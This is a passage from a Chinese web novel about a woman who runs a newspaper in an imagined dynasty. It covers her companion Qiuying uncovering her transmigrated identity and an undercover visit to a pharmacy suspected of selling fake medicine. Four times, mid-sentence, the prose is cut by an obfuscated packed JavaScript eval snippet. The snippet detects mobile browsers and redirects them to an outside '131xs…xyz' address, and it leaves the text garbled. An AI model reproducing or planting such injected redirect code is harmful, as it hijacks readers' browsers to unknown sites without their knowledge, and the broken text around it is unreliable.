与此同时,秋盈和盛催雪这边也一直没闲着。 近日黎民报社所受到的冲击已经传遍全城,盛催雪的文章开了个好头,她公开叫板若有人认为女子无才,那就与她当面斗诗作文,用硬实力来说话。此文字字珠玑,不但将那些庸俗之人骂了个狗血喷头,更是直指世人对女子认知的狭隘。最后,她在文后附上了《黎民日报》的征稿要求,呼吁全城女子发声投稿。 此文发出后一呼百应,数篇佳作从城中各处寄来,从事不同行业、拥有不同出身的女子文辞激昂,在文中将自己的见解抒发得淋漓尽致。 孟允抒翻看来稿,每张纸页上都承载着一个女性的鲜活灵魂,从字里行间中能看得出她们熠熠生辉的身影。 知名女医悬壶济世,医术比同门师兄弟要高明许多,去年时疫若非她研制出良方,城中百姓只怕会是尸横遍野;开酒肆的孙大娘说,她的调酒技术无人能及,若有人瞧不起女子,那从此之后就不要再踏进她的酒坊半步,免得被她的酒污了身份;一名农妇则直言,此前她从未读过书,但在参加黎民报社的识字会后,她靠买来的书籍自学成才,如今写出的话本小说畅销全城。 一场接一场的风暴席卷着整个京城,大半个月之后的一个上午,孟允抒从采闻堂出来,去前店取东西时,突然发现门外的氛围是久违的寂静。 “秋盈。”她迟疑地唤了一声,“你有没有觉得,门外似乎没了那些吵闹的声音?” 秋盈闻声而来,她侧耳倾听了一会,十分谨慎地点点头:“好像是的。” 孟允抒和秋盈对视一眼,两人屏住呼吸悄声上前,小心翼翼地推开报社大门。 门前的街道上,身着各式服装的路人或行色匆匆,或闲庭信步,除了几片被风吹进来的树叶,并没有其他人因为他们的动作而作出太大反应。 孟允抒愣了愣神,随后心头涌起一阵狂喜,奋力扑向秋盈,与她相拥而笑。 “秋盈,我们做到了。” 她们中止了这场没有硝烟的战争。 “请问报社现在是否正在营业?”一名书生打扮的年轻男子抬头望了望“黎民报社”的匾额,对孟允抒和秋盈笑了笑,“今日的《黎民日报》印出来了吗?” “印出来了,客官您稍等。”孟允抒大喜过望,撒开腿就往后院跑,大声招呼着伙计们干活,“各位兄弟姐妹,我们恢复营业了!把今日的报纸拿过来!” 秋盈一面请那位来客稍等,一面回头望向孟允抒,见她毫不顾及自己的形象,衣袂随着她跑动的姿势上下翻飞,又是好笑又是关切地说道:“社长你跑慢些,别把自己绊倒了!” 孟允抒闻声提起裙摆,回头冲她粲然一笑:“别担心,你招呼好来客!” 秋盈转过头,迎进两位妇人。 接着,越来越多的脚步声由远及近,最后踏进了报社,终于将往日的热闹带回了这里。 除此之外,盛催雪发出的那则征婚广告也有了回音。几个代为跑腿的人来到店里,将信交给秋盈,她将信小心地收好,一并交给了盛催雪。 盛催雪听闻接二连三的喜讯高兴得从椅子上蹦起来,夸下海口说今日要请全报社的成员吃饭。这一举动为她赢得了极高的人气,报社的各位职工纷纷称赞她的大气,一时之间她被夸得忘乎所以,平日里本就高昂的头颅仰得更高了些。 在一派欢欣雀跃的氛围中,只有两个人显得格格不入,一个是粉面含羞的初晴,盛催雪拆开了信件和她一同浏览其中的内容,她被盛催雪的打趣逗得红了脸;另一个则是笑得十分勉强的萧谨言。 直到盛催雪向孟允抒提出,她今后想继续在报社编辑部任职时,孟允抒才明白萧谨言的讪笑是因何而起。 孟允抒本来就打算扩充报社的人手,盛催雪主动提出留任,她当然是求之不得,便一口应了下来:“盛姑娘聪慧过人,又与萧主编性格互补,你若是能继续担任副主编,那当然是再好不过。” “等等。”萧谨言打断孟允抒的话,一脸幽怨地说,“你还没问过我的意见,怎么就这样擅自定夺?” 盛催雪是萧谨言的副手,按理来说是该参考他的意见。但按照萧谨言对盛催雪的崇拜程度,他又不可能会对这件事有异议。 虽然萧谨言这人的性格实在麻烦,但他为报社作出的贡献毋庸置疑。为了给萧谨言提供足够的排面,孟允抒只好装出尊敬的态度说道:“萧主编说得对,我把这茬给忘了,没考虑到您的意见,实在抱歉。那关于盛姑娘正式担任报社副主编一事,您意下如何?” 萧谨言得到孟允抒的抬举后得意地一笑,摆出了一副高高在上的架子。 “我不同意。” “为什么?” 盛催雪的惊疑先一步发出,孟允抒也没想到萧谨言会冒出这样一句话:“你说什么?” 萧谨言被盛催雪一瞪,气势瞬间低了下去,他躲到孟允抒身边,好让她为自己拦下盛催雪如刀锋般锐利的目光,小声向孟允抒告状道:“她目中无人,说话太难听,根本不把我这个主编放在眼里。她要是当了副主编,迟早有天这报社得划归到她的名下。” 盛催雪对他的控诉非常不服,拽住孟允抒的另一条胳膊:“孟社长你评评理,我哪里说话难听?难道我说的不是事实?” 孟允抒大概听明白了,萧谨言难以忍受盛催雪的锐评,这才不愿意和她共事。 “你此前怎么没告诉我?”孟允抒问萧谨言,“我还以为你乐在其中呢。” “我那是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587857|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大局为重。而且我心想着等此事过后她就会离开,不如暂且忍上一段时间。”萧谨言极力劝说孟允抒,“你千万不能让她留任!” “我也忍你很久了。”盛催雪听着萧谨言的指控,愤愤不平地说道,“孟社长有容人之量,她能惯着你,我可不会由着你的想法!” 说罢,她上前一步拽住萧谨言的胳膊:“说,你同意我留任!” “我不。” 萧谨言的拒绝刚一出口,盛催雪就加重了手上的力道,疼得他龇牙咧嘴。 “社长,这世上难道没有其他人了吗,你干嘛非得招这女魔头进来?”萧谨言大喊大叫道,“我原先真是昏了头,竟然那样追捧你,我真是悔不当初——疼!你放手!” 萧谨言当前的状态向孟允抒诠释了,什么是滤镜破碎后的脱粉回踩。 当下轮到孟允抒这批人休息,孟允抒不想因为这俩人扯头花耽搁了自己宝贵的吃饭时间,于是随便找了个借口开溜,走到前店拉起秋盈的手就往门外赶:“快走,我们去吃饭。” 秋盈见她行色匆忙,还以为出了什么要紧事,连忙问道:“你为何这样着急,发生什么事了?” “催雪和谨言又吵起来了。”孟允抒头痛地扶额,“近日我们还要再招些员工,以后社中恐怕只会更加闹腾。” 秋盈听了这话却掩面轻笑起来:“热闹些也是好事。以前你我二人只有彼此为伴,整日被困在方寸之间,哪能见到今日的光景?” 说罢,她又捏了捏孟允抒的手,目视前方正色道:“你放心,我会注意甄别前来应聘的人员,绝不会让不合适的人进入报社。” 孟允抒对秋盈感激地笑笑,感慨道:“若是社中的人都像你这般稳重干练就好了,能为我省不少心。” 孟允抒回想着她这几个月的经历。无论何时,不管她处于哪种境况,秋盈都一直伴她左右,和她风雨同舟。 报社开业以来,秋盈更是她的得力助手,将报社人员与财务管理得井井有条,替她免去了许多后顾之忧。 秋盈将一门心思都放在她身上,从不为自己考虑,这让孟允抒觉得无以为报。 盛催雪与初晴说笑的情景倏然从她的脑海中闪过。 孟允抒蓦地想起,秋盈比她还年长三岁,如今已经是二十三岁的年纪。在胤朝,像她这个年龄还未成婚的女子实属罕见。 此前孟允抒光顾着奔前程搞事业,却忘记了她得为秋盈成家的事负责。如今盛催雪替初晴征婚,这才让她想起了这茬。 “催雪与初晴的情谊令人艳羡,她们二人倒让我想起一件事。”孟允抒挑起话题,向秋盈征询意见,“如今姐姐事业有成,也是时候考虑婚姻大事了。你有什么想法?” 可秋盈的反应却不像她预想中的那样。 她停下脚步,直视着孟允抒的双眼。 “我原以为你懂我。” 秋盈的声音不大,但孟允抒听得出,她的语气中有几分嗔怒与失落。 接着,她抽回了被孟允抒牵住的手,自顾自地向前走去。 “秋盈。”孟允抒不明白她为何会作出这样的反应,赶紧追上去问她,“你是不是生气了?” 秋盈却只是摇头,语调平和地说了句“没有”。 孟允抒见状继续向她认错:“我要是有哪里说得不对,惹恼了姐姐,还请你对我明说。” “不,我并未生气。”似是为了打消孟允抒的疑虑,秋盈对她笑笑,“是我失态了,还望你见谅。” 说着,她又像什么都没发生过一样,和孟允抒聊起了待会吃什么的话题。 孟允抒察觉到秋盈不大对劲,因此在接下来半日格外关注她的动向与情绪。她发现,秋盈的行为还是一如既往,待人接物恰到好处,做事稳妥令人安心,对自己的关切也未曾少半分。 但孟允抒始终觉得,秋盈对自己的态度似乎淡了许多。 她坐在办公室百思不得其解,只能轻轻叹了口气。 真是一波未平,一波又起。 36. 勘破 直至两人下工,一同乘着马车回府时,孟允抒和秋盈还是保持着单方面的交流。 无论她和秋盈说什么,对方都像往常一样,作出妥帖的回答;但只要她不主动开口,如非必需,秋盈也不会找她说话。 为了试探秋盈的态度,孟允抒只能没话找话:“这两日天热,晚上你若是不想吃饭,就叫人往房中端些水果,既能果腹又可降暑。” 她说了这么长一串话,却只得来秋盈一个礼貌性的微笑,以及一句简短的“多谢夫人挂念”。 秋盈的表现有礼有节,并无半分逾矩,孟允抒要是说她使性子,倒像是冤枉了她。 但孟允抒非常笃定,秋盈一定是在和她闹情绪。 可秋盈屡次告诉孟允抒她没有生气,她的表现又毫无破绽,孟允抒也不知该如何与她沟通,解决二人之间的矛盾。比起这种不温不火的交流,她更宁愿秋盈和她大吵一架,那样好歹能让她知道她的内心想法。 孟允抒好不容易捱到下车,她实在受不了这种别扭的氛围,于是找了个借口对秋盈说道:“你累了一天,先回房歇着吧。” 她又看看书房的方向,对秋盈笑了笑:“我先去找许公子。” “好。” 近日孟允抒与许昭的关系愈发亲近,秋盈也早已发觉,因此没有对她的话作出多余的回应,只是微笑着略一点头,与孟允抒在大门口分别。 孟允抒望着秋盈离去的身影,心下更是纳闷。她一时想不出与秋盈缓和关系的对策,索性决定暂时将这件事抛之脑后,去许昭那换换心情。 她穿过小院来到书房前,见房门大敞着,于是轻手轻脚地拾阶而上,扒着门框遮住身子,探头望向里面。 书房的长案上铺着一张宣纸,许昭坐在案旁,执笔正在上面写着什么,他神情专注,偶尔拧起眉头,像是在凝神沉思。 孟允抒见他并未发觉自己的到来,便轻轻叩门调侃了一句:“许大人,您正忙着呢?” 许昭闻声抬头,在看到孟允抒的身形时,他眉心的那个疙瘩瞬间被扯平,唇角止不住地上扬:“你回来了。快坐。” 他搁下手中的笔,一面收拾着桌上的器具,一面对她说道:“我已经让伙房的人去准备晚膳了,你若是饿了就先吃几块点心。” 孟允抒也不客气,净了手就坐在桌旁,拉来面前那个盛点心的碟子,随手拣起来一块就咬了下去:“这几日的天气真是燥热难耐,我都没胃口吃饭。倒是这些小吃还能让人生出些食欲。” “这些东西垫垫肚子还行,可终归不能当正餐吃。”许昭把旁边的书都合上摞好,“我已经和伙房的人说了,你近日胃口不好,让他们看情况做些饭食给你调理一下,你多少吃些。” “公子一片好心,那我可要留着肚子给待会的晚膳。” 孟允抒推远碟子,随口和许昭闲聊了几句。她见许昭将案上的纸对折起来,遮盖住了上面的字迹,出于好奇问道:“你方才在写些什么?” “我正要将此事告诉你。” 许昭收拾停当,在孟允抒旁边的椅子上落座,看向孟允抒说道:“多亏了你的小报,旧党一连折损了六七个大将。这大半个月他们都没来上朝,旧党群龙无首,自乱阵脚,连他们内部的意见都无法统一。” 许昭眉飞色舞地说着,大有看热闹不嫌事大的架势。 “于是我和几位同僚趁此机会再度上疏,和旧党拉锯了这些时日后,陛下最终松了口,让我们拟出关于扶持女子读书、从业等的具体举措。” “真的?”孟允抒惊闻这条喜讯,激动得声音都响亮了许多。 “嗯,但你暂且不要告诉旁人。”许昭对她打出一个噤声的手势,“这些举措还处于草拟阶段,尚未实施。” 孟允抒当然懂得“事以密成”的道理,用力点点头:“我明白。” “只可惜我们在短期内见不到什么成效。”许昭有些惋惜地说,“待我们几人将拟好的政令等呈给陛下后,还要经过多次修改。即使他能点头通过,这些律令也只会先在部分县域内试行,若是效果不错,才能在全国推广开来。” 而且,这已经算得上是最顺利的一种情况。 政策的推行具有滞后性,从它的方案起草,再到决策、试点、修改完善、推广实施,少说也得几年。 “冰冻三尺非一日之寒,至少我们的想法已经得到了采纳。三年内或许还没有女子入仕,可五年后就不一定了。”孟允抒对此倒是乐观,“过去这些政策根本不见踪影,你和那些同僚也算是完成了一项创举。” “此事并非凭借我们几人就可促成。”许昭感慨道,“你,秋盈,还有报社的诸位成员,以及那些来稿的女子都功不可没。” 听到秋盈的名字,方才被孟允抒强行按下去的烦恼又重新涌上心头。她将双臂放在案上,身子顺势往上一趴。 “是啊,此时我们本应为这件事庆祝,可秋盈却生了我的气。” 在许昭的记忆里,秋盈的性情素来温和持重,又与孟允抒情同姐妹,两人从未闹过矛盾。 他诧异地问道:“你说秋盈同你置气?” “也不能这样说,只是我的猜测罢了。”孟允抒向许昭讲述了事情的来龙去脉,“一直到现在,我都不明白秋盈到底是因为什么而发恼。” “秋盈自幼便服侍在你左右,对你忠心耿耿。”许昭分析道,“兴许是她不想离开你,而你却辜负了她的好意,提出要让她嫁与旁人,因此她才会那样说。” “我也是这样想的。”孟允抒很是苦恼,“可我已经问过了秋盈,她说不是这个原因。” 许昭的沉默表明,当前被秋盈的问题困扰的人又多了一个。 孟允抒打算换个思路,正所谓“旁观者清”,她向许昭求助道:“既然我们都猜不到秋盈为何生气,那你帮我想想,该怎样让她和我重归于好?” 许昭沉思片刻后,面露难色:“我不知道。” 孟允抒觉得她向许昭请教这种事简直就是个错误。她差点忘了,就冲许昭的说话方式,不给对方火上浇油就不错了。 可眼下她也找不到其他军师,只能耐心引导他提出办法。 “那你想象一下,假如是我生你的气,你会怎么做?” 许昭看了孟允抒一眼,忽然起身走到孟允抒面前。 孟允抒不解地问:“你要干什么?” 许昭有些不好意思地说:“把手给我。” 虽然满腹狐疑,孟允抒还是照他说的做了。 许昭动作轻柔地握住她的手,对她一字一句地说:“对不起,是我错了,请你见谅。” 孟允抒望着许昭澄澈的目光,完全认可了“真诚是永远的必杀技”这句话的含金量。 “不行。”孟允抒心慌意乱地缩回手,口不择言道,“这招给我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597094|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,但对秋盈恐怕不管用。” 许昭疑惑地问:“为什么?” 那当然是因为她喜欢许昭。 孟允抒意识到自己失言,连忙止住话题以防他深究下去:“不为什么,反正就是不行。” “但这是你教给我的。”许昭却执拗地和她继续讨论这个话题,“你对秋盈所说的话若非发自肺腑,又怎能让她明白你的想法?” 许昭这句话却点醒了她。 先前孟允抒问秋盈为何生气,都是从她的角度出发,反复揣测、试探,却从来没和她说过自己的真心话。 或许在这种情况下,再多的花言巧语也比不上开门见山的谈话。 “我曾将这话说给你听,如今我自己却忘了。”孟允抒暗自思忖,“多谢公子提点,我明白了。” 饭后孟允抒回到房中,秋盈听见门口的动静转过头来,向她打了招呼:“夫人吃过饭了?” 孟允抒点点头,走到桌旁看向秋盈面前的几张纸:“你又在看报?” 这些报纸是今天发行的《黎民日报》,这是秋盈每天必做的事项之一。在很多时候孟允抒都觉得,秋盈对报社的事甚至比她还要上心。 孟允抒觉得这报纸上的字迹有些扎眼,便将油灯拿了过来,顺势坐在秋盈旁边的凳子上:“现在天色暗了,你若是要看报就点上灯,小心伤了眼睛。” 秋盈按她的话照做,火光顿时映亮了桌面的一角。 “如今正值夏季,天黑得迟。若是晚些点灯,每日为你省下几文钱,长此以往也是不少的数目。” 孟允抒望向秋盈,油灯带来的光线并不明亮,这样的一团微光笼在秋盈的面庞上,衬得她更加温柔可亲。 从她穿越过来的那一天起,秋盈就对她百依百顺,在事业上是她的得力助手,在生活中两人也亲密无间,秋盈在她心中的分量已经如同亲姐妹一般。 正因如此,秋盈与她生出嫌隙才会让她心如刀绞。 孟允抒注视着正在低头看报的秋盈,心中的难过越攒越多。 “姐姐一向待我亲厚,我也格外珍惜我们之间的情分,不想和你离了心。”她伸出手攥住秋盈的衣袖,像是生怕她会远离自己,“可我不知道该怎样做才能让你向我说明,你究竟是因为什么才会这样疏远我。” 孟允抒见秋盈抬眼看向自己,更忍不住一股脑地将她的情绪倾泻出来,满怀哀恸地说:“你若是一直不肯告诉我原因,日后它只怕会成为你我之间的一道隔阂。到了那个时候,我们再想冰释前嫌就晚了。” 秋盈受到她的情绪感染,也露出于心不忍的表情。她回握住孟允抒的手,而后望着她轻轻叹了口气。 “既然夫人希望我吐露心迹,那我也想请你向我道出实情。” 她像是下定决心一般抬起头,直视着孟允抒说道:“我有一问想要让你为我解答。” 事情终于出现了转机,孟允抒连忙点头:“姐姐有话直说即可。” “社长。”秋盈的语气充满哀伤和苦涩,“你不是夫人吧。” 这句话乍一听令人费解,但孟允抒很快就想到一个可能性。 在报社之外的地方,秋盈从来不会叫她“社长”。然而,从孟允抒自己的角度看,“孟社长”才是她本人,而“孟夫人”是她从原主那继承来的身份。 一瞬间,孟允抒的心被悬到半空,手脚也因紧张发出冷汗。 37. 改变 孟允抒不知道秋盈是不是真的发现了她的身份,只能先装出一副困惑的模样。 “姐姐这话是什么意思,我没听明白。” 秋盈无奈地苦笑:“你向来聪敏,恐怕是装作没听懂。” 秋盈所说的每一个字都如同鼓点般敲在孟允抒的心上,令她惶恐不安。 她正想说些什么来掩饰真相,秋盈却再次开了口。 “不过想来也是,无论换作何人面对此番情形,都不会直接承认自己的真实身份。”她看向孟允抒温声说道,“你不必紧张,我问这话并非是想要刁难你,只是想证实我的猜测罢了。” 孟允抒半是装糊涂半是出于疑惑地问道:“什么猜测?” 秋盈将目光从孟允抒脸上移开,盯着桌上的油灯。她沉默良久,才说出一句话。 “真正的夫人——我过去的小姐,已经不在了。” 秋盈的声音很轻,但语气却是万分沉痛。孟允抒被她的话惊得乱了心神,险些从凳子上跌下来。 “你在说什么?”孟允抒强颜欢笑,“姐姐今日是怎么了,总是说胡话,举止也这样怪异。” 秋盈没有受到孟允抒的干扰,只是摇摇头,陈述起了自己的判断。 “几个月前姚府倒台后,夫人一时想不开,寻了短见。当时我请了郎中来,他说你气息已绝,告诉我们快准备后事。可没想到,过了两刻钟,你竟然又醒了过来。” 这就是孟允抒穿越过来的时间。说多错多,她不敢在此时出言辩解,只是附和着秋盈含糊其辞。 “人死不能复生,我当时虽觉得蹊跷,却因你的转醒而欣喜不已,只当是神仙显灵,庇佑你起死回生。”秋盈自嘲地说了句,“但后来,随着我和你相处得久了,我愈发肯定你并非以前的夫人。” “此话怎讲?”孟允抒不知道她的表演中哪里出现了纰漏,用开玩笑的口吻说道,“我不是孟夫人还能是谁?” “我不知道你是谁,更不知道你是如何办到这种事的。你装得实在是太像了,虽然你的性情举止都有所改变,但你给出的解释都合情合理。因此,一开始连我都被蒙在鼓里。” 秋盈看向孟允抒,而后垂下眼帘,语气哀婉:“可我与夫人一起长大,形影不离,怎么可能察觉不到她的异常。” 直觉和感情是无法靠逻辑来解释的。 孟允抒善于伪装,能言善辩,但她骗不过秋盈。 秋盈的话已经说到这个份上,孟允抒再和她打太极也无济于事,索性问出了心中的疑惑。 “既然如此,你为何从未向旁人揭发此事,或是前来质问我?” “起先我也曾想过找一个合适的时机做这些事。可后来我发现你并无恶意,也逐渐了解了你的为人。” 秋盈的话情真意切,看上去不像是在说谎。 “你拉着我去书坊做工,接着又创办了报社,带我走出闺阁,让我见识到更为宽广的天地。你信我帮我,我也从你身上学到了许多。对此我无以为报。” “况且我们共同经历了这么多事,你我二人之间的情谊匪浅。所以,我决定保持现状。” 秋盈低头盯着那份报纸:“只要我不主动挑起事端,我们就能和从前一样和谐共处,我也能假装夫人还活着,好好地待在我身边。” 原来秋盈一直在自欺欺人。 “抱歉。”孟允抒内疚不已。 说到底,是她冒名顶替了那位孟姑娘,还一直利用她的身份做事。 “这并非你的过错,只是我的一厢情愿。”秋盈自嘲地说道,“直到你昨日问出那句话,我才意识到,我无法再掩耳盗铃了。” 她抬起头看向孟允抒,神情有些恍惚。她的视线还停留在孟允抒身上,但孟允抒知道秋盈不是在看她。她的目光洞穿了自己的身体,似乎极力地想要捕捉住这个身体内原本的那个灵魂。 “你是孟社长,却不是孟夫人。” 伴随着这个结论,一颗泪珠倏然从秋盈的脸上滑落,洇湿了报纸的一小块区域,那上面的字也随之晕染成一个墨疙瘩,模模糊糊的,让人分辨不清它的真面目。 孟允抒觉得自己的脸上传来异样的感觉,她伸手去摸,发现指尖上已经蘸满了温热的液体。 她想,这不仅是由于她因这番话而动容,也是那位孟姑娘在为此难过。 “对不起,秋盈。”孟允抒低声说道,“若是那位孟姑娘,一定比我更能懂得你的心思,绝不会问出我那样的话。” “不。我说那句话时,并没有将你当作夫人。”秋盈泪流满面,却握紧了孟允抒的手,“那句话是说给你听的。” 孟允抒不可置信:“你是说,你原本以为我懂你?” 秋盈点点头。 “夫人在生活习惯等细节上懂我,可在大事上却不能理解我。毕竟她是大家闺秀,我们的出身不同,平日要做的事也大相径庭,将来更是会走上毫不相干的两条路。”秋盈说道,“夫人一向安分守己,温婉柔顺,断然不会做坏了规矩的事。先前她没有找人为我说亲,只是舍不得我离开。” 秋盈看向孟允抒。 “但你不一样,你的观念与夫人截然相反。对夫人,我更多地是疼惜与关爱,对于你则是感激与珍重。” 秋盈提起一桩往事:“你曾问过我,女子是否应当有自己的事业,我给出了肯定的答案。从前我有这样的想法,却没有办法实现。因此,我和你一起办报,不单是为了你,更是为了自己。” 孟允抒听到这话,既是惊讶又是惭愧。 她看扁了秋盈。 “世人都认为,女子到了年龄就应当出嫁。但是,我能够自食其力,也并没有和他人谈情说爱的兴致,为什么非要与他人成亲?” 秋盈对孟允抒道出她真正的心结:“据我对你的了解,你与他们不同,所以我认为你一定和我心意相通,能够明白我的想法。可是……” 可是孟允抒却问出了那样的问题。在秋盈看来,孟允抒不但羞辱了她,而且辜负了她的一片信任。 “对不起,我没能想到你根本没有成婚的打算。” 孟允抒就这件事向秋盈致以诚恳而深切的歉意,同时也意识到一件事:“所以,你完全是因为我没能理解你的想法而生气?” 秋盈点了点头:“嗯。” 孟允抒豁然开朗。 秋盈和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是她对秋盈笑了笑:“实际上,我还比你年长几岁,叫你‘姐姐’有厚颜无耻之嫌。” 秋盈疑惑道:“此话怎讲?” “这与我的来历有关。此事听起来荒唐,但确实曾发生在我身上。”孟允抒说道,“你若是不信,就全当个传说故事听。” 接着,孟允抒用尽量通俗易懂的方式向秋盈讲述了她穿越的经过。 秋盈的表情十分震惊,但说出的话却和她的神色迥然不同。 她笃定地对孟允抒说:“我相信你说的话。” 秋盈消化了一会孟允抒灌输给她的信息,又回到了方才她们讨论的话题上。 “虽然原来的你比我年长几岁,但如今却不是这样。”秋盈分析道,“况且我已经听习惯了,你应当也叫习惯了,我们还是沿用过去的称呼吧。” 孟允抒刚想应她一个“好”字,话到嘴边却突然改了口。 “不,姐姐对我的称呼还是要改改。” 孟允抒摆脱了身份的桎梏,放松地将一条胳膊搭在椅背上,全然没了平时装出来的矜持。 “既然我不是孟夫人,你和我并无主仆关系,私下无人时你就不必对我以‘夫人’相称。”她扬起唇角看向秋盈,“从今以后,你直呼我的名字即可。” 38. 伪劣药品 孟允抒在仓库内换好衣物,看向面前一人多高的铜镜,打量镜中的身影。 镜中的她白发苍苍,脸上的皱纹纵横交错,皮肤粗糙暗黄,衣服的肩肘处还摞着几块补丁,打眼一看就是个平常人家的老妇形象。 准备停当后,她佝偻着背,颤颤巍巍地走到门前,用沙哑的嗓子对秋盈说道:“姐姐,你还认得我吗?” 替她把守大门的秋盈知道孟允抒故意逗她,笑得前仰后合:“你真是扮什么像什么,若不是我和你一同来到此处换装,我还当是哪个老妇人来到我们社中闲逛呢。” “那就好。” 孟允抒直起腰来,恢复正常的声音笑道:“多谢姐姐帮我守门,你继续忙你的事吧,我走了。” 秋盈却没有马上离开,一直送她出了报社后门,叮嘱她道:“万事小心。” “放心,我都出过那么多次任务了,我心里有数。”孟允抒摆摆手冲秋盈说道,“你快回去,报社可不能群龙无首,他们全靠你镇着场子。” 孟允抒别过秋盈往前走了几步,见到路边的草丛中横七竖八地躺着几根树杈,忽而又生出一计。她在其中捡了根趁手的当作拐杖,朝着她的目的地——济宁堂进发。 这次系统给她下达的任务还要从两日前说起。 当时报社照例开展新一期识字会,会前曾有许多人来找孟允抒闲聊。其中有一个在城中做工的男子向孟允抒吐槽,他长年在别人家中干活,回家的次数甚少,他父母年事已高,在家无人照管,因为年龄大了脑子糊涂,做了不少让人啼笑皆非的事。 他向孟允抒一一列举了他父母的行为,而后又抱怨道:“还有那济宁堂也真是个黑心店铺,他们专挑独居老人下手,忽悠他们身有隐疾,让这些老人家买上一堆没用的草药。不单是我父母,我认识的几个熟人家的长辈也曾上当受骗。” 旁边几个民众听到他们谈论此事也纷纷参与进来,表示济宁堂近日在大肆向老年人推销假药,从他们手中骗取钱财,然而他们却没有证据告发济宁堂,只能吃下这个哑巴亏。 就在这时,孟允抒触发了系统任务,要求她在三日内探明济宁堂是否确实有卖假药的行径,将事件的内情公之于众。 孟允抒一边摇摇晃晃地走在街道上,一边心想着,这就是典型的骗老年人买保健品的行为。 通常情况下,这种骗局的目标对象都是年迈体弱的独居或孤寡老人,他们年龄大了脑子转不过弯来,又没有儿女在身边替他们分辨真相,而他们出于对自身健康状况的担忧,再被那些虚情假意的关心一骗,就很容易进入那些骗子的圈套。 最优秀的猎手往往会以猎物的姿态出现,今日孟允抒前来暗访,当然要装成最佳受害者的模样。 孟允抒抬头看了看上方刻着“济宁堂”三个大字的牌匾,在门口驻足,仔细观察了一下堂中的情况。济宁堂的店面不大,却是小有名气的医馆兼药铺,生意十分红火,几个伙计忙得焦头烂额。 于是,她演得比方才更加卖力。 孟允抒上了台阶,装出一副气喘吁吁的样子,胡乱挥舞着手中的树枝敲击门框,另一只手则到处摸索着,大声问道:“这里可是济宁堂?郎中在不在?” 这句话成功吸引了店中所有人的注意力,站在药柜前的掌柜见状连忙跑过来,拦下孟允抒不让她乱跑:“这位大娘,您小心些,别磕着碰着。” 孟允抒咧开嘴,憨憨地笑着:“多谢你,年轻人,我这个老太婆眼神不大好,走到哪都摔跤。” 掌柜的眼中瞬间闪过一道窃喜的光彩,他热情洋溢地扶着孟允抒坐到桌旁的凳子上,向她问道:“您是来看病的还是抓药的?” 她提高嗓门说道:“你说啥?我听不见!” 掌柜耐心地重复,向她大喊道:“我问您是来做什么的!” “噢,噢。”孟允抒装出恍然大悟的神情,“我来抓药。” “那请您随我到旁边的房间来,我先给您把脉。对症下药才能见效。” 说着,他就要来伸手扶孟允抒。 “等等。”孟允抒慌忙阻止他,“我不是来给我抓药的。” 即使这郎中是个庸医,他能开这么长时间的店肯定也是有两把刷子,孟允抒要是让他把脉,难保不会让自己的伪装露陷。 面对着掌柜疑惑而警惕的目光,孟允抒随口就编起了瞎话:“我这身子骨还算硬朗,倒是省了这些汤药钱。可我那儿子实在不争气。” 她愤恨地用树枝敲了两下地板,唉声叹气地说道:“大夫,这事实在不光彩,我们能否换个地方说话?” 那掌柜也正有此意,于是欣然应允,起身将她请到了另一间房中。 “大娘,您儿子要是有什么隐疾就请您尽管告诉我,由我来帮您想办法。一味地讳疾忌医,这病永远都好不了。”他苦口婆心地劝说孟允抒,语气中充满关切,“您放心,我们绝对不会向外人透露病患的情况。” “好,好。” 孟允抒的大脑飞速运转,她提出的病症不能太严重,最好和养生相关,这样不用病人本人到场就能开药,而且也能为他们提供欺骗自己的机会。 孟允抒当然没有儿子,为了让她的理由合乎常理,于是暂时将许昭拉过来当参考对象,思考着该给他安个什么无关紧要的病症上去。 一个合适的理由骤然浮现在她的脑海中。 孟允抒苦着张脸,开始了她的表演。 “四年前,我花光所有积蓄,终于给我儿子娶了媳妇,我想着这下就能抱上孙子,享受天伦之乐了。可没想到,过了这么几年,我儿媳妇的肚子一直不见动静。” 她重重地叹了口气。 “我心里着急,就问他们到底是怎么回事。我儿子对这事一直支支吾吾,后来还是我儿媳妇告诉我,我儿子他居然有那不举之症。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620533|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她装出又羞又急的模样,继续说道:“为他这事我跑遍了城中的药铺,寻了多少大夫,但一点作用都没有。再这么下去,先不说孩子的问题,我儿媳妇迟早都要和人跑了!” 